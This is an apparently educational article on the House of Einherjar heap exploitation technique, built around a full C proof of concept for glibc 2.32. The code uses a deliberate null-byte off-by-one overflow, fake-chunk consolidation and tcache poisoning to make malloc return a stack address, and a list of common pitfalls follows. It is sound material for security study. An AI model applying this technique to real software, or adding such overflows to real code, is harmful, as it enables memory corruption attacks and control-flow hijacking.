The House of Einherjar is an elegant heap exploitation technique that leverages an off-by-one overflow with a null byte to create overlapping chunks. Named after the warriors of Norse mythology, this technique uses a single null byte to achieve powerful control over heap allocations.
This technique is particularly powerful because it only requires a single null byte overflow, one of the most common vulnerability types in C programs.
#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <malloc.h>#include <assert.h>int main(){ /* * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32. * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). * It has the additional requirement of a heap leak. */ setbuf(stdin, NULL); setbuf(stdout, NULL); printf("Welcome to House of Einherjar 2!\n"); printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"); printf("Next, we use tcache poisoning to hijack control flow.\n" "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41," "now tcache poisoning requires a heap leak.\n"); // prepare the target intptr_t stack_var[0x10]; intptr_t *target = NULL; // choose a properly aligned target address for(int i=0; i<0x10; i++) { if(((long)&stack_var[i] & 0xf) == 0) { target = &stack_var[i]; break; } } assert(target != NULL); printf("\nThe address we want malloc() to return is %p.\n", (char *)target); printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); intptr_t *a = malloc(0x38); // create a fake chunk printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); a[0] = 0; // prev_size (Not Used) a[1] = 0x60; // size a[2] = (size_t) a; // fwd a[3] = (size_t) a; // bck printf("Our fake chunk at %p looks like:\n", a); printf("prev_size (not used): %#lx\n", a[0]); printf("size: %#lx\n", a[1]); printf("fwd: %#lx\n", a[2]); printf("bck: %#lx\n", a[3]); printf("\nWe allocate 0x28 bytes for 'b'.\n" "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); uint8_t *b = (uint8_t *) malloc(0x28); printf("b: %p\n", b); int real_b_size = malloc_usable_size(b); printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size); printf("\nWe allocate 0xf8 bytes for 'c'.\n"); uint8_t *c = (uint8_t *) malloc(0xf8); printf("c: %p\n", c); uint64_t* c_size_ptr = (uint64_t*)(c - 8); printf("\nc.size: %#lx\n", *c_size_ptr); printf("c.size is: (0x100) | prev_inuse = 0x101\n"); printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); // VULNERABILITY b[real_b_size] = 0; // VULNERABILITY printf("c.size: %#lx\n", *c_size_ptr); printf("It is easier if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); // Write a fake prev_size to the end of b printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; // Change the fake chunk's size to reflect c's new prev_size printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); a[1] = fake_size; printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]); // Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk printf("\nFill tcache.\n"); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { x[i] = malloc(0xf8); } printf("Fill up tcache list.\n"); for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { free(x[i]); } printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"); free(c); printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]); printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); intptr_t *d = malloc(0x158); printf("Next malloc(0x158) is at %p\n", d); // tcache poisoning printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n"); uint8_t *pad = malloc(0x28); free(pad); printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n"); free(b); printf("Now the tcache list has [ %p -> %p ].\n", b, pad); printf("We overwrite b's fwd pointer using chunk 'd'\n"); // requires a heap leak because it assumes the address of d is known. d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12); // take target out printf("Now we can cash out the target chunk.\n"); malloc(0x28); intptr_t *e = malloc(0x28); printf("\nThe new chunk is at %p\n", e); // sanity check assert(e == target); printf("Got control on target/stack!\n\n");}
Wrong Size Selection: Choosing a chunk size that doesn’t end in 0x01 will cause the null byte to corrupt the size value itself, likely causing a crash.
Forgot to Fill Tcache: On glibc 2.26+, if tcache isn’t full, the free() will go to tcache instead of unsorted bin, and consolidation won’t occur.
Fake Chunk Too Far: If the fake prev_size is too large, it might point to unmapped memory or fail validation checks.